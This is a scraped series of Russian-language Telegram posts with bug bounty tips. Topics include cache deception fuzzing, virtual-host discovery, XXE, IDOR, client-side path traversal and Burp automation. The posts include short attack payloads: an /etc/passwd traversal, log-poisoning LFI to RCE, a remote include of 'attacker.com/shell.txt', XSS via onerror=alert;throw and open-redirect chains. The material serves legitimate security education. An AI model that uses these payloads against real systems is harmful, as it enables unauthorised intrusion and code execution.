Иногда веб-серверы по-разному обрабатывают спецсимволы (
;, ? и другие) в URL-адресах. Это может привести к web cache deception или проблемам с контролем доступа.👉 Вот как легко протестировать расхождения в разделителях пути:
1️⃣ Захватите запрос и отправьте в Intruder. Тип атаки Sniper (изменяется только одно место):
GET /my-account§§abc HTTP/2
Пример пэйлоада (полный список найдете здесь):
!
#
$
'
*
+
,
.
/
:
;
_
~
...
2️⃣ Запустите атаку и проанализируйте статусы, длину и ответы.
Ищите страницы большего/меньшего размера, изменения в коде состояния или различное поведение. Если заметили что-то необычное, скорее всего, вы нашли расхождение в разделителях 🤑
👉 Почему это важно?
Когда спецсимволы сбивают с толку сервер или кеш, вы можете обнаружить:
🔸 Web cache deception: случайное кеширование личных страниц
🔸 Обход доступа: пропуск проверок безопасности
🔸 Утечка информации: доступ к данным, которые вы не должны видеть
🔗 Попробуйте на практике в лабе PortSwigger
Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13🤔4
Виртуальные хосты — это…
Механизм, который позволяет обращаться к нескольким доменам на одном веб-сервере. Администраторы в настройках веб-сервера прописывают домен, а браузер пользователя при обращении к IP указывает в заголовке
Конфигурирование веб-сервера может быть достаточно сложным, и могут возникать ошибки, например, доступные любому пользователю админ-панели или внутренние сервисы, которые не подразумевались быть доступными извне VPN.
Как найти внутренние сервисы и выявить мисконфигурации?
Используя сервис
Это можно сделать, к примеру, так:
Затем можно использовать
Например:
Так можно обратиться к IP-адресу, используя произвольный заголовок
Публикация подготовлена совместно с командой VK Bug Bounty.
Механизм, который позволяет обращаться к нескольким доменам на одном веб-сервере. Администраторы в настройках веб-сервера прописывают домен, а браузер пользователя при обращении к IP указывает в заголовке
Host запрашиваемый домен. Веб-сервер использует нужный шаблон и отдает запрашиваемый контент.Конфигурирование веб-сервера может быть достаточно сложным, и могут возникать ошибки, например, доступные любому пользователю админ-панели или внутренние сервисы, которые не подразумевались быть доступными извне VPN.
Как найти внутренние сервисы и выявить мисконфигурации?
Используя сервис
crt.sh, можно получить выписанные для домена сертификаты и скопировать все полученные домены. Сертификаты могут быть выписаны и на недоступные в данный момент из интернета приложения. Это можно сделать, к примеру, так:
https://crt.sh/?q=vk.teamЗатем можно использовать
curl и обратиться к IP-адресам, принадлежащим компании, с полученными доменными именами. Может произойти так, что балансировщик направит запрос во внутренний сервис, хотя он должен быть недоступен снаружи.Например:
curl --resolve noscript.bugbounty.vk.company.ru:443:10.12.72.18 https://noscript.bugbounty.vk.company.ru/
Так можно обратиться к IP-адресу, используя произвольный заголовок
Host. Как видно на скриншоте, по стандартным хостам нет доступа, но, применив правильный заголовок, мы получили ответ. Подставляя localhost или полученные из сертификатов домены, иногда можно получить доступ к админкам и другим внутренним системам.Публикация подготовлена совместно с командой VK Bug Bounty.
❤10🔥5
В первую очередь обращайте внимание на фичи приложения, которые потенциально могут работать с XML:
🔹 Веб-сервисы на основе XML (SOAP, REST и RPC API, которые принимают и обрабатывают данные в формате XML).
🔹 Любая фича импорта / экспорта, которая доставляет или принимает данные в формате XML.
🔹 Обработчики RSS и Atom лент.
🔹 Просмотрщики и конвертеры документов, работающие с файлами форматов DOCX, XLSX и другими XML-документами.
🔹 Загрузка и обработка файлов в XML (например, SVG-изображения).
Ищите компоненты, принимающие и обрабатывающие произвольные XML-данные. Иногда REST API случайно настроены на приём разных форматов данных, включая XML.
Всегда проверяйте, какие форматы принимает приложение — это поможет найти потенциальные векторы атаки.
Добавьте в Proxy Interceptor правило замены типа содержимого: с
application/json на text/xml. Далее отслеживайте ошибки парсинга XML.Уровень сложности: 🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14🔥7❤3
Path traversal первого порядка — это когда вы напрямую передаёте путь вида
../../etc/passwd, и сервер сразу интерпретирует его.Второй порядок — это когда:
1️⃣ Вы передаёте путь, который сначала сохраняется как строка или используется как параметр.
2️⃣ Он ещё не интерпретируется полностью.
3️⃣ Затем этот путь используется в другом сервисе/компоненте, где он декодируется заново или интерпретируется иначе.
Уровень сложности: 🪲🪲🪲
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11❤3🔥3
🎯 Создание кастомных словарей для багбаунти
Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.
Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.
⏳ Что включить в кастомный словарь
1️⃣ Список слов для конкретной компании:
🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:
🔹 Токенизация URL-адресов с помощью tok:
🔹 Парсинг ключевых слов из JS-файлов:
2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.
3️⃣ Включение часто встречающихся ключевых слов —
4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.
💡 Применение:
• Брутфорс виртуальных хостов и параметров
• Обнаружение контента
P.S. При подготовке поста вдохновлялись статьей от Intigriti.
Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.
Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.
1️⃣ Список слов для конкретной компании:
🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:
$ cewl https://example.com --header "Cookie: PHPSESSID=7a9b.." -d 5 -m 4
🔹 Токенизация URL-адресов с помощью tok:
$ cat urls.txt | tok
🔹 Парсинг ключевых слов из JS-файлов:
$ cat js-urls.txt | python3 getjswords.py
2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.
3️⃣ Включение часто встречающихся ключевых слов —
api, admin, assets, profile, debug, id, и т. д. Отличная база у JHaddix.4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.
• Брутфорс виртуальных хостов и параметров
• Обнаружение контента
P.S. При подготовке поста вдохновлялись статьей от Intigriti.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤5
Безопасность электронной почты — это больше, чем спам и фишинговые атаки. В любом веб-приложении — это:
Выше привели несколько примеров пэйлоада для выявления багов, связанных с обработкой email-адресов в веб-приложениях.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤5🤔1
Если XSS недоступна, но на странице уже есть форма с валидным CSRF-токеном, можно использовать HTML-инъекцию с помощью атрибута
form=.Все просто: привязываем внешние
<input> и <button> к существующей форме по id — они попадут в POST-запрос при сабмите. Более того, кнопка может иметь свой formaction=, который перезапишет action формы, сохранив при этом CSRF-токен.formnovalidate= — позволяет игнорировать правила валидации формы. Полезно, если исходная форма заполнена не полностью, но нужно отправить запрос.formmethod= — меняет метод отправки формы, например, с GET на POST.formenctype= — задаёт тип кодирования данных, например multipart/form-data или text/plain. К сожалению, с его помощью всё ещё сложно отправлять валидный JSON в теле запроса.formtarget= — позволяет перенаправить ответ формы не в основное окно браузера, а в iframe с указанным id=, чтобы скрыть результат отправки от жертвы.Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤2🔥2
🔓 От чтения к выполнению: когда доступ к файлу становится критическим
Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:
▪️ Path Traversal позволяет читать файлы вне рабочей директории, например
▪️ Arbitrary File Read идёт дальше: можно читать любой файл, независимо от пути. Всё, что приложение даст открыть — ваше.
💨 Когда чтение превращается в выполнение → Local File Inclusion
Если приложение не только читает, но и включает файл (например, через
Классика:
Передаём:
А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.
💨 Remote File Inclusion
RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:
Сейчас
💡 Цепочки атак: когда пазл складывается
▪️ Path Traversal → читаем конфиги → находим внутренние эндпоинты/креды → SSRF/обход аутентификации
▪️ File write → включение пэйлоада через LFI → RCE
▪️ Инжект в лог → включение логов через LFI → RCE
Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:
../../../../etc/passwd.Если приложение не только читает, но и включает файл (например, через
include($_GET['page']) в PHP), открывается дверь в LFI.Классика:
<?php
include($_GET['page']); // уязвимо
?>
Передаём:
?page=../../../../var/log/apache2/access.log
А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.
RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:
?page=http://attacker.com/shell.txt
Сейчас
allow_url_include часто выключен, но уязвимости живут в JS/Python, где делают eval(fetch(url)) или что-то похуже.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11
Многие багхантеры полагаются только на перебор или простые кейсы при поиске IDOR, при этом упускают некоторые нестандартные способы
1️⃣ Утечка UUID на уровне приложения
Есть ли в приложении функционал, где UUID может «засветиться» публично (например, таймлайн, история изменений, активности и т. д.) ?
Можно ли дать кому-то доступ к объекту с этим UUID, а потом забрать? Часто UUID всё ещё остаётся в логах, уведомлениях и т. п.
2️⃣ Получение UUID легитимным способом
Обычно это лучший способ добыть нужный UUID. Пользователи ведь не вводят UUID вручную — они вводят email, имя и т. д.
Если в приложении есть формы, которые принимают публичную инфу (email и т. д.) и возвращают UUID, то это золото.
3️⃣ Наследие старых ID
До UUID часто использовались числовые ID. Иногда в JSON-ответах всё ещё можно увидеть старые поля (
id: 123, uuid: ...).Бывает, что можно подставить старый числовой ID вместо UUID — и это срабатывает.
4️⃣ Утечка через пути
Можно ли каким-то способом вытащить внутренние пути приложения? Иногда помогает слабая политика referrer, открытые metadata-эндпоинты, где можно увидеть роуты и UUID внутри путей.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤3
⚒️ Автоматизация поиска Client-Side Path Traversals
CSPT — техника, известная с 2007 года, но не все багхантеры с ней знакомы. Давайте это исправим!
Представьте страницу профиля, которая всегда возвращает один и тот же HTML, но в URL есть параметр
Часто багхантеры пытаются найти IDOR, меняя
Если браузер запросит
🤔 Почему это важно?
Потому что теперь вы можете заставить браузер жертвы делать запросы по произвольным путям, что открывает путь для цепочек уязвимостей — например, XSS через поддельный ответ API.
➡️ Анализ ответа
Если мы перехватим запрос и проверим ответ, то можем увидеть что-то вроде:
Что бы мы могли сделать, если бы могли контролировать ответ на этот запрос? По сути, мы могли бы создать ссылку, которая при нажатии жертвы отправляла бы запрос в API, который затем возвращал бы контент, который мы контролируем.
Ценность контроля над этим контентом зависит от того, что с ним делает приложение. В нашем примере
➡️ Open redirects
Если на сервере есть open redirect, можно заставить браузер сходить на внешний контролируемый ресурс и вернуть вредоносный контент.
Пример:
— теперь ответ API контролируем мы, и можно пытаться эксплуатировать ту же самую XSS.
💡 Автоматизация
Chrome-расширение Gecko перехватывает все запросы, анализирует URL вкладки и проверяет, отражается ли часть текущего URL в запросах — признак CSPT:
▪️ Сервис-воркер слушает запросы (
▪️ Проверяет совпадения путей и параметров
▪️ Хранит данные в локальном хранилище
▪️ Показывает результаты в DevTools-панели и через всплывающее окно
▪️ Поддерживает частичное совпадение, чтобы ловить случаи с расширениями файлов и вариациями путей
CSPT — техника, известная с 2007 года, но не все багхантеры с ней знакомы. Давайте это исправим!
Представьте страницу профиля, которая всегда возвращает один и тот же HTML, но в URL есть параметр
id. Скрипт на клиенте делает запрос к API по этому id, например: example.com/profile?id=10 → браузер делает запрос к example.com/api/users/10 и подставляет данные.
Часто багхантеры пытаются найти IDOR, меняя
id, но мало кто смотрит, что браузер делает отдельный запрос к API. А если подставить путь с traversal-паттернами, например id=../../hello? Если браузер запросит
example.com/hello — значит есть возможность управлять путями в запросах с клиента!Потому что теперь вы можете заставить браузер жертвы делать запросы по произвольным путям, что открывает путь для цепочек уязвимостей — например, XSS через поддельный ответ API.
Если мы перехватим запрос и проверим ответ, то можем увидеть что-то вроде:
{
"id": 10,
"name": "John Doe",
"pic": "images.example.com/pic-12345.jpg"
}Что бы мы могли сделать, если бы могли контролировать ответ на этот запрос? По сути, мы могли бы создать ссылку, которая при нажатии жертвы отправляла бы запрос в API, который затем возвращал бы контент, который мы контролируем.
Ценность контроля над этим контентом зависит от того, что с ним делает приложение. В нашем примере
pic используется как src тега <img>, а значит, появляется возможность эксплуатации XSS.Если на сервере есть open redirect, можно заставить браузер сходить на внешний контролируемый ресурс и вернуть вредоносный контент.
Пример:
/profile?id=../../redirect%3Furl%3Dxss.example.com
— теперь ответ API контролируем мы, и можно пытаться эксплуатировать ту же самую XSS.
Chrome-расширение Gecko перехватывает все запросы, анализирует URL вкладки и проверяет, отражается ли часть текущего URL в запросах — признак CSPT:
chrome.webRequest.onBeforeRequest)Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥9🔥3❤2🦄1
WAF фильтрует скобки? Вот как это обойти 👆
onerror=alert назначает alert глобальным обработчиком ошибок, а затем throw 1 выбрасывает ошибку. Эта ошибка перехватывается обработчиком onerror… которым и является alert!Таким образом,
alert(1) срабатывает без использования скобок 😎Please open Telegram to view this post
VIEW IN TELEGRAM
❤16🔥8
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍7❤3
Автоматизация должна охватывать ядро приложения и собирать максимум данных. Основной метод — упор на пассивном скане, чтобы не создавать много шума. Собранная информация помогает лучше понять приложение и улучшить активную автоматизацию.
Пассивные сканеры анализируют результаты активных: если активный вызвал ошибку, пассивный её найдёт и покажет в дашборде.
Ответы от прокси идут и активным, и пассивным сканерам. Ответы с репитера и расширений — только пассивным. Это обеспечивает плавный и синхронизированный процесс.
👉 Активный скан: не взломать все, а максимально покрыть функционал
👉 Пассивный скан — второй уровень обнаружения для глубокого анализа ответов и поиска пропущенного активным сканером
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤1👍1